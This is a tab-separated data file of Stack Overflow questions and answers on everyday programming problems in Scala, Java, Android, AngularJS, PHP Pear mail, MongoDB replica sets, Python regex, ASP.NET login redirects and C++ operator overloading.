17396377	0	Error while implementing take for a Stream <p>I was trying to solve Exercise 2 from <a href="http://www.manning.com/bjarnason/" rel="nofollow">Functional Programming in Scala</a>. The question is as follows:</p> <blockquote> <p>EXERCISE 2: Write a function take for returning the first n elements of a Stream. ￼def take(n: Int): Stream[A]</p> </blockquote> <p>My solution is as follows:</p> <pre><code> import Stream._ trait Stream[+A]{ def uncons:Option[(A,Stream[A])] def isEmpty:Boolean = uncons.isEmpty def toList:List[A] = { val listBuffer = new collection.mutable.ListBuffer[A] @annotation.tailrec def go(str:Stream[A]):List[A] = str uncons match { case Some((a,tail)) =&gt; listBuffer += a;go(tail) case _ =&gt; listBuffer.toList } go(this) } def take(n:Int):Stream[A] = uncons match { case Some((hd,tl)) if (n &gt; 0) =&gt; cons(hd,tl.take(n-1)) case _ =&gt; Stream() } } object Stream{ def empty[A]:Stream[A] = new Stream[A]{def uncons = None} def cons[A](hd: =&gt; A,tl: =&gt; Stream[A]):Stream[A] = new Stream[A]{ lazy val uncons = Some((hd,tl)) } def apply[A](as: A*):Stream[A] = { if(as.isEmpty) empty else cons(as.head,apply(as.tail: _ *)) } } </code></pre> <p>I store this as Stream2.scala and then from the REPL I execute the following:</p> <pre><code>:load Stream2.scala </code></pre> <p>When the REPL tries to load my script, it barfs with the following errors:</p> <p>scala> :load Stream2.scala</p> <pre><code>Loading Stream2.scala... import Stream._ &lt;console&gt;:24: error: type mismatch; found : Stream[A] required: scala.collection.immutable.Stream[?] case Some((hd,tl)) if (n &gt; 0) =&gt; cons(hd,tl.take(n-1)) ^ &lt;console&gt;:25: error: type mismatch; found : scala.collection.immutable.Stream[Nothing] required: Stream[A] case _ =&gt; Stream() ^ &lt;console&gt;:11: error: object creation impossible, since method tailDefined in class Stream of type =&gt; Boolean is not defined def empty[A]:Stream[A] = new Stream[A]{def uncons = None} ^ &lt;console&gt;:12: error: object creation impossible, since method tailDefined in class Stream of type =&gt; Boolean is not defined def cons[A](hd: =&gt; A,tl: =&gt; Stream[A]):Stream[A] = new Stream[A]{ </code></pre> <p>Can somebody point out what might be going wrong here?</p>
18697214	0	Why constructor returns nothing ? or it returns something? <p>I read in many java books that constructor have no returns type , it means that it does not return anything ? is it really happen ? or it may return something ? I want to know the reason.</p> <p>Please anyone give me the technical reason. </p>
25480922	0	bash: wait for specific command output before continuing <p>I know there are several posts asking similar things, but none address the problem I'm having.</p> <p>I'm working on a script that handles connections to different <code>Bluetooth low energy</code> devices, reads from some of their handles using <code>gatttool</code> and dynamically creates a <code>.json</code> file with those values.</p> <p>The problem I'm having is that <code>gatttool</code> commands take a while to execute (and are not always successful in connecting to the devices due to <code>device is busy</code> or similar messages). These "errors" translate not only in wrong data to fill the <code>.json</code> file but they also allow lines of the script to continue writing to the file (e.g. adding extra <code>}</code> or similar). An example of the commands I'm using would be the following:</p> <pre><code>sudo gatttool -l high -b &lt;MAC_ADDRESS&gt; --char-read -a &lt;#handle&gt; </code></pre> <p>How can I approach this in a way that I can wait for a certain output? In this case, the ideal output when you <code>--char-read</code> using <code>gatttool</code> would be:</p> <pre><code>Characteristic value/description: some_hexadecimal_data` </code></pre> <p>This way I can make sure I am following the script line by line instead of having these "jumps".</p>
37148517	0	 <p>Unlike support for other frameworks, I cannot see GWT when I right click project root in Project tab and select "Add Framework support".</p> <p>However, It still works when I select </p> <blockquote> <p>Project Structure → Facets → Add → GWT</p> </blockquote> <p><a href="https://i.stack.imgur.com/Nt8yJ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Nt8yJ.png" alt="enter image description here"></a></p>
36340268	0	NullPointerException while setting LayoutParams <p>I want to add a button programmatically, which LayoutParams should be set too. Unfortunaly the app gives an exception: </p> <blockquote> <p>java.lang.NullPointerException: Attempt to write to field 'int android.view.ViewGroup$LayoutParams.height' on a null object reference</p> </blockquote> <p>I have no idea, why. Could you help me? Here is my code.</p> <pre><code> Button b = new Button(getApplicationContext()); b.setText(R.string.klick); ViewGroup.LayoutParams params = b.getLayoutParams(); params.height = ViewGroup.LayoutParams.MATCH_PARENT; params.height = ViewGroup.LayoutParams.WRAP_CONTENT; </code></pre>
25116142	0	How to render a Widget inside a TreeView cell with GTK# <p>I'm developing an application with Mono and Gtk#. Inside my app, I need to use the TreeView control. I'm looking for a way to render a widget inside a cell instead of drawing everything. I have custom widgets that I would like to use inside those cells and I don't want to draw them manually.</p> <p>I have looked over documentations and forums but haven't found a way to do this. I don't think this is impossible since CellRendererCombo and CellRendererToggle seems to render a Widget.</p> <p>Thanks</p>
32067338	0	Error: [$rootScope:infdig] 10 $digest() iterations reached <p>I'm trying to show the posts of my json output into my view but I'm getting an error. </p> <p><code>Error: [$rootScope:infdig] 10 $digest() iterations reached. Aborting! Watchers fired in the last 5 iterations: []</code></p> <p>I did some research and it looks like I'm looping a loop which causes Angular to "crash" before my browser does. But I can't find the error in my code.</p> <p>This is my home state and if I comment out the line <code>return post.getAll();</code> I don't get the error, obviously.</p> <pre><code>.state('home', { url: '/home', templateUrl: '../assets/angular-app/templates/_home.html.haml', controller: 'mainCtrl', resolve: { postPromise: ['posts', function(posts){ return posts.getAll(); }] } }) </code></pre> <p>The getAll(); is referenced here in my service.</p> <pre><code>.factory('posts', [ '$http', function(){ var o = { }; return o; o.getAll = function() { return $http.get('/posts.json').success(function(data){ angular.copy(data, o.posts); }); }; } ]) </code></pre> <p>So I think the error should be in one of these codes, any ideas?</p> <p>I have 2 templates that I include,</p> <p>posts.html.haml</p> <pre><code>%div{"ng-repeat" =&gt; "comment in post.comments | orderBy:'-upvotes'"} {{comment.upvotes}} - by {{comment.author}} %span{:style =&gt; "font-size:20px; margin-left:10px;"} {{comment.body}} %form{"ng-submit" =&gt; "addComment()"} %h3 Add a new comment .form-group %input.form-control{"ng-model" =&gt; "body", :placeholder =&gt; "Comment", :type =&gt; "text"} %button.btn.btn-primary{:type =&gt; "submit"} Post %a{"ui-sref" =&gt; "home"} Home </code></pre> <p>And home.html.haml</p> <pre><code>%form{"ng-submit" =&gt; "addPost()"} %input{:type =&gt; "text", "ng-model" =&gt; "title"} %button{:type =&gt; "submit"} Post %h1 Posts %div{"ng-repeat" =&gt; "post in posts | orderBy: '-upvotes'"} {{ post.title }} - upvotes: {{ post.upvotes }} %a{:href =&gt; "#/posts/{{$index}}"} Comments </code></pre> <p>I've commented both files, and still the error is given.</p>
13938263	0	 <p>Correct is in the eye of the beholder most of the time. There's often multiple ways to solve an issue. If you want to check for the presence of a bound function and the existence of a DOM Node, then you'll need to capture both after the <code>ready</code> function and compare the <code>typeof</code> variable to function to see if it's true.</p> <pre><code>$(function(){ if($('#flexslider').length &amp;&amp; typeof flexslider == 'function'){ } }); </code></pre>
19523949	0	Symbols in email headlines for pear mail <p>I'm trying to put a heart symbol ♥ into the headline of an email which should be sent via the php pear mail package.</p> <p>But the receiver gets a ? instead of the heart so there has to be some mistake. It works if I manually send the email with my mail client.</p> <p>My code is the following:</p> <pre><code>require_once "Mail.php"; $smtp = Mail::factory('smtp', array ('host' =&gt; 'host', 'port' =&gt; port, 'auth' =&gt; true, 'username' =&gt; 'username', 'password' =&gt; 'password'); $headers = array ('From' =&gt; 'sender', 'Subject' =&gt; '♥ test', 'Charset' =&gt; 'utf-8', ); $mail = $smtp-&gt;send($to, $headers, 'heart test'); </code></pre> <p>What do I need to change in order to make the heart display correctly for the receiver of the email?</p>
25404839	0	 <p>You probably didn't add <code>feincms.module.page</code> to your <code>INSTALLED_APPS</code> as per the <a href="http://www.feinheit.ch/media/labs/feincms/installation.html#configuration" rel="nofollow">documentation</a>. If you follow the traceback, the error appears in <a href="https://github.com/feincms/feincms/blob/master/feincms/views/cbv/views.py#L27" rel="nofollow">get_object()</a> where it tries to access the page model.</p> <p>Are you using an older FeinCMS version? Newer versions raise a warning in that case.</p>
33758780	0	Connecting to MongoDB Replica Set behind a Load Balancer <p>I am a little confused on how MongoDB handles replica sets. I have the following setup:</p> <ul> <li>2 Replica set members to store data</li> <li>1 Arbiter</li> <li>Everything is in a Virtual Network</li> </ul> <p>There are two scenarios:</p> <p><strong>Scenario 1</strong></p> <ul> <li>No Load balancer. </li> <li>DataVM0 is accessible at public IP 123.123.12.1</li> <li>DataVM1 is accessible at public IP 123.123.12.2</li> <li>ArbiterVM is accessible public at IP 123.123.12.3</li> </ul> <p>Here, my connection string would look something like:</p> <pre><code>mongodb://123.123.12.1:27017,123.123.12.2:27017,123.123.12.3:27017/?replicaSet=samplereplicaset </code></pre> <p><strong>Scenario 2</strong></p> <ul> <li>Load balancer accessible at public IP 123.123.12.1. </li> <li>DataVM0 is not publicly accessible.</li> <li>DataVM1 is not publicly accessible.</li> <li>ArbiterVM is not publicly accessible.</li> <li>LoadBalancer port 27017 is forwarded to DataVM0 port 27017</li> <li>LoadBalancer port 27018 is forwarded to DataVM1 port 27017</li> <li>LoadBalancer port 27019 is forwarded to ArbiterVM port 27017</li> </ul> <p>Here, my connection string would look something like this:</p> <pre><code>mongodb://123.123.12.1:27017,123.123.12.1:27018,123.123.12.1:27019/?replicaSet=samplereplicaset </code></pre> <hr> <p>Are both these ways to connect equivalent in terms of replica sets? I ask this since in the connection string, I'm not directly connecting to any of the VMs.</p> <p>All VMs are accessible from every other VM in the virtual network. DNS and everything works properly.</p>
6135726	0	 <p>what about trying</p> <pre><code>has_many :administrators, :class_name =&gt; "User", :conditions =&gt; "role_id = #{Role.find(:name =&gt; 'Admin')}" </code></pre> <p>Assuming the role table had a corresponding model. are you using a specific framework, or home baked authorization?</p>
29959309	0	Remove back button from SearchView in toolbar AppCompat <p><img src="https://i.stack.imgur.com/v5NfH.png" alt="enter image description here"></p> <p>How can I remove the back button icon when search view shows up in Toolbar (AppCompat)?</p> <pre><code>toolbar = (Toolbar) findViewById(R.id.tool_bar); // Set an OnMenuItemClickListener to handle menu item clicks toolbar.setOnMenuItemClickListener(new Toolbar.OnMenuItemClickListener() { @Override public boolean onMenuItemClick(MenuItem item) { // Handle the menu item return true; } }); // Inflate a menu to be displayed in the toolbar toolbar.inflateMenu(R.menu.menu_main); toolbar.setTitle(""); setSupportActionBar(toolbar); actionBar = getSupportActionBar(); // this works for normal back button but not for one appears on tapping SearchView actionBar.setDisplayHomeAsUpEnabled(false); </code></pre>
19301798	0	Stripe card authentication passed from iPhone, failed on server <p>The card was validated by Stripe's iPhone code, where I create a card, send to their server and receive a stripe token.</p> <p>When I charge that token, the server receives an error from Stripe saying invalid CVC.</p> <p>I checked Zip code &amp; CVC verification required in my account settings.</p> <p>Is there a way to authenticate the credit card prior to charging it?</p>
22547433	1	python regex re.sub with strings <p>I am trying to use regex expressions to build a word filter. Currently, i have something in this form: </p> <pre><code>value = re.sub(r'(([q])[ ]*[w][ ]*[e][ ]*[r])', r'\2***', value, flags=re.IGNORECASE) </code></pre> <p>I would like to be able to do something like </p> <pre><code>value = regex_gen("qwer", value) </code></pre> <p>where my regex_gen function looks like: </p> <pre><code>def regex_gen(filter_word, string): first = 0 regex = "r'(" regex_result = "r'" for c in filter_word: if first == 0: regex += "([" + c + "])" regex_result += "\2" first += 1 else: regex += "[ ]*[" + c + "]" regex_result += "*" regex += ")'" regex_result += "'" final = re.sub(regex, regex_result, string, flags=re.IGNORECASE) return final </code></pre> <p>but my regex_gen function isn't working so far, i am only accounting for white spaces in between the characters and character case. if other approaches to a word filter are easier to implement than that would work too</p>
5166663	0	 <p>try:</p> <pre><code>$myObjectCollection = ...; $minObject = $myObjectCollection[0]; // or reset($myObjectCollection) if you can't ensure numeric 0 index array_walk($myObjectCollection, function($object) use ($minObject) { $minObject = $object-&gt;distance &lt; $minObject-&gt;distance ? $object : $minObject; }); </code></pre> <p>but from the looks of your dump. <code>name</code> and <code>distance</code> are private. So you want be able to access them from the object directly using <code>-&gt;</code>. You'll need some kind of getter <code>getDistance()</code></p>
40096188	0	How to find the beginning and ending indices of groups of ones in a set of ones and zeros <p>How would I find the beginning and ending indices of the groups of ones. I've tried some convoluted attempts with nested if statements and have had no success. Is there an algorithm that deals with this type of problem or does it have a name. Thanks. </p> <pre><code>int arr[32] = {0,1,1,1,1,0,0,0, 1,1,1,0,0,0,0,0, 1,1,0,1,0,0,0,1, 0,0,0,0,0,1,1,1}; </code></pre>
35778779	0	 <p>The problem is with this line:</p> <pre><code>mReceiver = new ResultReceiver(new Handler()); </code></pre> <p>Replace it with this:</p> <pre><code>mReceiver = intent.getParcelableExtra(Constants.RECEIVER); </code></pre> <p>The problem is that you're creating a new ResultReceiver instead of using the one that is presumably passed in as an Intent extra from this code:</p> <pre><code>protected void startIntentService() { Intent intent = new Intent(this, FetchAddressIntentService.class); intent.putExtra(Constants.RECEIVER, mResultReceiver); intent.putExtra(Constants.LOCATION_DATA_EXTRA, mLastLocation); startService(intent); } </code></pre> <p>So, just use the one passed in as an extra in the Intent, and it should work.</p>
746880	0	FormsAuthentication.RedirectFromLoginPage is not working <p>I am working on a LoginPage.Everything related to database or C# code is working fine but after successul login I am unable to redirect to Home.aspx,am I missing Something? Pls help. <strong>Code:</strong></p> <p><strong>Web.Config:</strong></p> <p> </p> <pre><code>&lt;/authentication&gt; &lt;authorization&gt; &lt;deny users="*"/&gt; &lt;/authorization&gt; </code></pre> <p><strong>C# Code:</strong></p> <pre><code>protected void Button1_Click(object sender, EventArgs e) { string source = "server=localhost\\sqlexpress;Database=LogInDB;Trusted_Connection=True"; SqlConnection con = new SqlConnection(source); con.Open(); SqlCommand cmd = new SqlCommand("proc_LogIn", con); cmd.CommandType = CommandType.StoredProcedure; cmd.Parameters.Add("@ID", SqlDbType.Int).Value = TextBox1.Text; cmd.Parameters.Add("@Password", SqlDbType.VarChar).Value = TextBox2.Text; SqlDataReader dr = cmd.ExecuteReader(); if (dr.Read()) { FormsAuthentication.RedirectFromLoginPage(TextBox1.Text, false); } else { Response.Write("Invalid credentials"); } } </code></pre>
28602081	0	 <p>Send text file as array of bytes <code>byte[]</code> for 1st parameter or convert it while loading to <code>string</code>. <code>Stream</code> is the other option.</p>
18660234	0	 <blockquote> <p>I was wondering, is it possible to enhance the speed of a page loading by decreasing the size of images within the page? Would this be possible via jQuery</p> </blockquote> <p>No. This would require that the browser download the large image over the network and then process it to reduce it in size.</p> <p>If you want to speed things up, you need to make the images smaller before they leave the server.</p> <p>You don't need to do this manually though. Image resizing can be done programatically. </p>
21305342	0	Java SQL Statement for selecting record from database and using as double variable <p>Java - Netbeans IDE</p> <p>I have this code but the variable Priceperitem is not found, can anyone explain? or show me an easier way of selecting a record from a table in a database and setting its value as a variable?</p> <p>Price P/Item is the name of column within the database table.</p> <pre><code> String sql = "SELECT Price P/Item FROM tblResources"; try { pst = conn.prepareStatement(sql); rs = pst.executeQuery(); while (rs.next()){ double Priceperitem = rs.getDouble("Price P/Item"); } } catch (Exception e) { JOptionPane.showMessageDialog(null, "Runtime Error"); } </code></pre> <p>and then :</p> <pre><code>try { Total = Quantity * Priceperitem; (This is where Priceperitem is not found.) btnCalculateTotal.setText("Total: £"+Total+"0"); }catch (Exception e){ System.out.println("Error Calculating Total"); } </code></pre>
23312674	0	 <p>I think this may work</p> <pre><code> ScrollView sv = new ScrollView(this.getActivity()); sv.post(new Runnable() { @Override public void run() { // this is executed when it becomes visible for the first time } }); </code></pre> <p><strong>EDIT</strong> If you want this from an element inside the scrollView, If you are using an adapter then</p> <pre><code>// Adapter class ie ArrayAdapter public View getView(int position, View convertView, ViewGroup parent) { View myView; //.... myView.post(new Runnable() { @Override public void run() { // this is executed when it becomes visible for the first time } }); return myView; } </code></pre>
14083632	0	 <p>Some comments requested further details about what I commented out to resolve this issue. I didn't think this was good to add as an edit to the question, since it specifically goes over the resolution. It's been a while since I've worked on this project, so it's not all at the top of my head &amp; I'm not sure I've done everything correctly ... I'll do my best to explain it, though.</p> <p>In the file <code>GameCenterManager.h</code>, it looks like <code>authenticateLocalUser</code> is being initialized:</p> <p><code>- (void) authenticateLocalUser;</code></p> <p>In the file <code>App_NameViewController.m</code>, <code>viewDidLoad</code> is checking to see if Game Center is available:</p> <pre><code>self.currentLeaderBoard = kLeaderboardID; if ([GameCenterManager isGameCenterAvailable]) { self.gameCenterManager = [[[GameCenterManager alloc] init] autorelease]; [self.gameCenterManager setDelegate:self]; [self.gameCenterManager authenticateLocalUser]; } else { // The current device does not support Game Center. } </code></pre> <p>In the file <code>GameCenterManager.m</code></p> <pre><code>- (void) authenticateLocalUser { if([GKLocalPlayer localPlayer].authenticated == NO) { [[GKLocalPlayer localPlayer] authenticateWithCompletionHandler:^(NSError *error) { // report any unreported scores or achievements [self retrieveScoresFromDevice]; [self retrieveAchievementsFromDevice]; //[self callDelegateOnMainThread: @selector(processGameCenterAuth:) withArg: NULL error: error]; }]; } } </code></pre> <p>The line that I commented out, which moved me past the <code>Missed Method</code> error, was:</p> <p><code>[self callDelegateOnMainThread: @selector(processGameCenterAuth:) withArg: NULL error: error];</code></p> <p>I hope this helps!</p>
34512487	0	Compiling code in Android Studio, Google map view always shows blank? <p>I have a very annoying issue with a project I am working on in Android Studio.</p> <p>I have another developer working on code for me, and part of the app has a Google map view.</p> <p>When this other person sends me raw code, I can open the project in Android Studio, compile it, and run it on a device and everything works fine - except the Google map is blank - grey screen, with "Google" logo in bottom corner.</p> <p>If this person sends me an APK file, I can download it straight to my phone, and it works perfectly. Map shows and loads as it should.</p> <p>The APK he sends is compiled from the same code, but compiled at his end.</p> <p>I see several questions on SO asking about blank Google maps, with possible code solutions - but because the APK works fine, it surely cant be a code issue?</p> <p>I have made sure all my Android Studio is updated to the latest versions, but any time I compile the code on my machine, it shows this blank map.</p> <p>Any ideas of where to look to solve this? Is there something I need to do within my install of Android Studio to get the map loading, or is there an API I need to load or install?</p> <p>This is driving me nuts, because I cant make any changes directly to the code on my machine, and need to always get the other developer to make any small changes and then compile on his machine and send me the APK!</p> <p>(PS: We are in different locations, so just comparing both our installations is not an option!)</p>
26667878	0	How to display the json data in multiautocomplete textview? <p>I am new to android, am developing one application in which i have to get the data from the server need to store that data in sqlite, so every time i should not hit the server,when ever i want get from database,in this app i used fragment concept,when i enter the single character in multiautocomplete textview based on the names in <code>json</code> response it needs to show the email-ids which are matching to that character in drop down list. i have done the code am not getting errors but not getting the expected result in <code>textview</code></p> <p>when i debug the code the following block of code is not executing i don't know what is the problem in this can you please help me any one</p> <pre><code> new Handler().post(new Runnable() { public void run() { Cursor cursor = contactDataSource.getAllData(); if (BuildConfig.DEBUG) Log.d(TAG, "total contcat count :" + cursor.getCount()); while (cursor.moveToNext()) { if (BuildConfig.DEBUG) Log.d(TAG, "Contact from cursor:" + cursor.getString(cursor .getColumnIndex(ExistingContactTable.COL_NAME))); } customAdapter = new CustomContactAdapter(getActivity(), cursor); Log.i("Custom contact adapter", "" + customAdapter); if (customAdapter != null) editorIdSharableEmail.setAdapter(customAdapter); } }); </code></pre>
26840485	0	 <blockquote> <p>The largest problem is that there it no knowing over the null behavior of the Java API.</p> </blockquote> <p>The lack of annotated libraries continues to be a problem with Eclipse's built in nullness cehcking.</p> <p>Another nullness-checking tool is the <a href="http://checkerframework.org/" rel="nofollow">Checker Framework</a>, which ships with thousands of annotated APIs from the JDK. The Checker Framework also does more accurate checking. Eclipse and FindBugs are bug detectors that find some null pointer errors, but the Checker Framework is a verifier that gives a guarantee of <a href="http://types.cs.washington.edu/checker-framework/current/checker-framework-manual.html#nullness-checker" rel="nofollow">no null pointer errors</a>. </p> <p>The Checker Framework has an Eclipse plugin. Eclipse' built-in nullness checking has slicker IDE integration, but you can use the Checker Framework Eclipse plugin if you want more powerful checking.</p>
23793919	0	Trying to get onLocationChanged from a service? <p>I have some sample service that implements LocationListener now i want to get the lat/lng every time the location has been changed from that service that listens when location has been changed . But i dont know how to call from the mainactivity to that service to particular onLocationChanged .</p> <p>This is what i'v tried:</p> <p>From the MainActivity:</p> <pre><code>GpsTracker gps; // I declared that at the start of the activity //and then..... gps = new GpsTracker(MainActivity.this); gps.onLocationChanged(gps.location { lat=gps.getLatitude(); lng=gps.getLongitude(); }); </code></pre> <p>and this is my service sample code:</p> <pre><code>public class GpsTracker extends Service implements LocationListener { private final Context mContext; // flag for GPS status boolean isGPSEnabled = false; // flag for network status boolean isNetworkEnabled = false; // flag for GPS status boolean canGetLocation = false; Location location; // location double latitude; // latitude double longitude; // longitude double patitude; double pongitude; // The minimum distance to change Updates in meters private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 0; // 10 meters // The minimum time between updates in milliseconds private static final long MIN_TIME_BW_UPDATES =0; // 1 minute // Declaring a Location Manager protected LocationManager locationManager; public GpsTracker(Context context) { this.mContext = context; getLocation(); } public Location getLocation() { try { locationManager = (LocationManager) mContext .getSystemService(LOCATION_SERVICE); // getting GPS status isGPSEnabled = locationManager .isProviderEnabled(LocationManager.GPS_PROVIDER); // getting network status isNetworkEnabled = locationManager .isProviderEnabled(LocationManager.NETWORK_PROVIDER); if (!isGPSEnabled &amp;&amp; !isNetworkEnabled) { // no network provider is enabled } else { this.canGetLocation = true; if (isNetworkEnabled) { locationManager.requestLocationUpdates( LocationManager.NETWORK_PROVIDER, MIN_TIME_BW_UPDATES, MIN_DISTANCE_CHANGE_FOR_UPDATES, this); Log.d("Network", "Network"); if (locationManager != null) { location = locationManager .getLastKnownLocation(LocationManager.NETWORK_PROVIDER); if (location != null) { latitude = location.getLatitude(); longitude = location.getLongitude(); } } } // if GPS Enabled get lat/long using GPS Services if (isGPSEnabled) { if (location == null) { locationManager.requestLocationUpdates( LocationManager.GPS_PROVIDER, MIN_TIME_BW_UPDATES, MIN_DISTANCE_CHANGE_FOR_UPDATES, this); Log.d("GPS Enabled", "GPS Enabled"); if (locationManager != null) { location = locationManager .getLastKnownLocation(LocationManager.GPS_PROVIDER); if (location != null) { latitude = location.getLatitude(); longitude = location.getLongitude(); } } } } } } catch (Exception e) { e.printStackTrace(); } return location; } /** * Stop using GPS listener * Calling this function will stop using GPS in your app * */ public void stopUsingGPS(){ if(locationManager != null){ locationManager.removeUpdates(GpsTracker.this); } } /** * Function to get latitude * */ public double getLatitude(){ if(location != null){ latitude = location.getLatitude(); } // return latitude return latitude; } /** * Function to get longitude * */ public double getLongitude(){ if(location != null){ longitude = location.getLongitude(); } // return longitude return longitude; } /** * Function to check GPS/wifi enabled * @return boolean * */ public boolean canGetLocation() { return this.canGetLocation; } /** * Function to show settings alert dialog * On pressing Settings button will lauch Settings Options * */ public void showSettingsAlert(){ AlertDialog.Builder alertDialog = new AlertDialog.Builder(mContext); // Setting Dialog Title alertDialog.setTitle("GPS is settings"); // Setting Dialog Message alertDialog.setMessage("GPS is not enabled. Do you want to go to settings menu?"); // On pressing Settings button alertDialog.setPositiveButton("Settings", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog,int which) { Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS); mContext.startActivity(intent); } }); // on pressing cancel button alertDialog.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { dialog.cancel(); } }); // Showing Alert Message alertDialog.show(); } @Override public void onLocationChanged(Location location) { latitude=location.getLatitude(); longitude=location.getLongitude(); } @Override public void onProviderDisabled(String provider) { } @Override public void onProviderEnabled(String provider) { } @Override public void onStatusChanged(String provider, int status, Bundle extras) { } @Override public IBinder onBind(Intent arg0) { return null; } } </code></pre> <p>What i'v wrote on the MainActivity gives errors... Would be glad to get some help.</p>
6070707	0	 <p>I think you have alot of boiler plate code you don't need. If you do it this way you can add Commands without having to add code as well.</p> <pre><code>public interface Command { } public enum Commands { ; public static Command[] parseCommand(String command) { for (Class type : new Class[]{CameraCommand.class, RoverCommand.class}) try { return new Command[]{(Command) Enum.valueOf(type, command)}; } catch (IllegalArgumentException ignored) { } throw new IllegalArgumentException("Unknown Command " + command); } } public enum CameraCommand implements Command { CLICK } public enum RoverCommand implements Command { L, R, M; } </code></pre>
17097659	0	 <p>The only direction I can think about is running two angular applications, in parallel. The problem is obviously name collision, so you would have to patch angular code and have your own version. This of course is <strong><em>completely</em></strong> discouraged, but just for the sake of discussion <em>it seems</em> that since angular is enclosed in a closure, maybe a simple rename would work, and then you would use the renamed angular. ie maybe something like</p> <p>change angular = window.angular || (window.angular = {}),</p> <p>to angular = window.extAngular || (window.extAngular = {}),</p> <p>would work, or at least give you a starting point to work on a patch</p>
22861762	0	 IronWorker is a service that provides to cloud developers a facility to queue / schedule jobs in a way that is meant to be simple and scalable.
36980223	0	 <p>There is a conflict with concurrent gradle versions:</p> <blockquote> <p>java.util.concurrent.ExecutionException: org.gradle.tooling.BuildException: Could not execute build using Gradle distribution '<a href="https://services.gradle.org/distributions/gradle-2.9-all.zip" rel="nofollow">https://services.gradle.org/distributions/gradle-2.9-all.zip</a>'.</p> </blockquote> <p>In quoted <code>gradle.properties</code> you've changed gradle version (gradleWrapperVersion) which was set to 2.9 for Grails 3.1.6 projects:</p> <p><a href="https://github.com/grails/grails-core/tree/v3.1.6/gradle/wrapper" rel="nofollow">https://github.com/grails/grails-core/tree/v3.1.6/gradle/wrapper</a></p> <p>Change it to defualt value and clean&amp;build.</p>
31601719	0	jquery multiselect dropdown selected values <p>I'm very new to javascript and jquery. I'm trying to create a multi-select dropdown list with "Select All" button. I finally find this nice plugin: <a href="http://wenzhixin.net.cn/p/multiple-select/docs/" rel="nofollow">http://wenzhixin.net.cn/p/multiple-select/docs/</a> </p> <p>I followed the docs, and the dropdown is shown on the page. But I have trouble get the selected items. </p> <p><strong>Here is what I did ( in javascript file controller):</strong></p> <pre><code>$scope.testSelectValues = $('#ms').multipleSelect('getSelects', 'text')); </code></pre> <p>and in html file:</p> <pre><code>&lt;div class="form-group"&gt; &lt;label&gt;Month&lt;/label&gt; &lt;select id="ms" multiple="multiple"&gt; &lt;option value="1"&gt;January&lt;/option&gt; &lt;option value="2"&gt;February&lt;/option&gt; &lt;option value="3"&gt;March&lt;/option&gt; &lt;option value="4"&gt;April&lt;/option&gt; &lt;option value="5"&gt;May&lt;/option&gt; &lt;option value="6"&gt;June&lt;/option&gt; &lt;option value="7"&gt;July&lt;/option&gt; &lt;option value="8"&gt;August&lt;/option&gt; &lt;option value="9"&gt;September&lt;/option&gt; &lt;option value="10"&gt;October&lt;/option&gt; &lt;option value="11"&gt;November&lt;/option&gt; &lt;option value="12"&gt;December&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;script&gt; $(function() { $('#ms').change(function() { console.log($(this).val()); }).multipleSelect({ width: '100%' }); }); &lt;/script&gt; </code></pre> <p>This does not work. I don't get any testSelectValues with the proper selected values. Anyone knows what's the problem?</p>
18432851	0	Accuracy of GPS Timestamp in depending on position accuracy <p>In need to exploit in my application time obtained from GPS. I need position and I need to know a time stamp which I can globally trust. </p> <p>I'm getting information how accurate my position is, for instance 5m, 100m etc. But I would like to know how accurate it my timestamp depending on position accuracy. Of course I know that the accuracy of the position is correlated with accuracy of the timestamp (this is basic idea of gsp), but I would like know what error of the timestamp (in miliseconds) should I expect when I'm getting position with accuracy 5m ,50m, 100m etc. Is there easy way to calculate that?</p>
20789852	0	 <p>Because layouts are typically constructed from left to right, it is common for the right side of the image to be cropped off when it's dimensions exceeds the width of it's containing parent.</p> <p>Unfortunately, it is difficult to adjust the size of the <code>&lt;img /&gt;</code> element if you want to keep the aspect ratio <strong>and</strong> fill out all the available space. The former can be easily done with <code>width: 100%; max-width: 100%;</code>, but the latter is more of a challenge.</p> <p>That brings us to the utility of background size. CSS now supports values of background-size such as <code>cover</code>, which dictates that the background image will fill out the container yet retain aspect ratio, cropping off parts that we don't need.</p> <p><strong>CSS:</strong></p> <pre><code>.ls_video { background-size: cover; background-position: center center; margin-left: auto; margin-right: auto; width: 100%; height: 420px; text-align: left; } </code></pre> <p><strong>JS:</strong></p> <pre><code>var videoSrc = "http://www.youtube.com/embed/MxuIrIZbbu0"; var videoParms = "?autoplay=1&amp;amp;fs=1&amp;amp;hd=1&amp;amp;wmode=transparent"; var youtubeVideo = "" + "&lt;iframe class='ls_video' src='" + videoSrc + videoParms + "'&gt;" + "&lt;/iframe&gt;"; var theThumbNail = "" + "&lt;div onclick=\"this.innerHTML = youtubeVideo;\" style=\"background-image: url(images/MLSFthumbnail.jpg);\"&gt;&lt;/div&gt;"; document.write (theThumbNail); </code></pre>
14900714	0	 <p>This uses <code>MAX</code> and <code>MIN</code> to see to that all values are the same; one needs to add a <code>+ 0</code> to each bit to make it available to normal numeric aggregate functions (like <code>MIN</code>/<code>MAX</code>/<code>SUM</code>/...)</p> <pre><code>SELECT ProjectId, EmployeeId FROM Temp GROUP BY ProjectId, EmployeeId HAVING MAX(IsWarning + 0) = 0 AND MAX(IsExpired + 0) = 0 AND MIN(IsIncomplete + 0) = 1 </code></pre> <p><a href="http://sqlfiddle.com/#!6/27b07/2" rel="nofollow">An SQLfiddle for testing</a>.</p>
4028245	0	 <p>Maybe this sounds so stupid but.. what about storing the info into an object and putting that object in the session?</p>
37566368	0	 <p>There is no work around.</p> <p>The C++ language places restrictions on some operators. Notably, the indexing (operator[]), assignment and function call operators must be defined as a non-static member function.</p> <p>This means that there can never be an implicit conversion on the "left-hand-side" operand in an expression of the type <code>lhs[rhs]</code>. End of story.</p> <p>All EDSL frameworks I know have helper functions to decorate your "literal" expression as a domain expression, e.g. <code>boost::phoenix::val(x)</code> or <code>boost::spirit::x3::as_parser(x)</code>.</p>
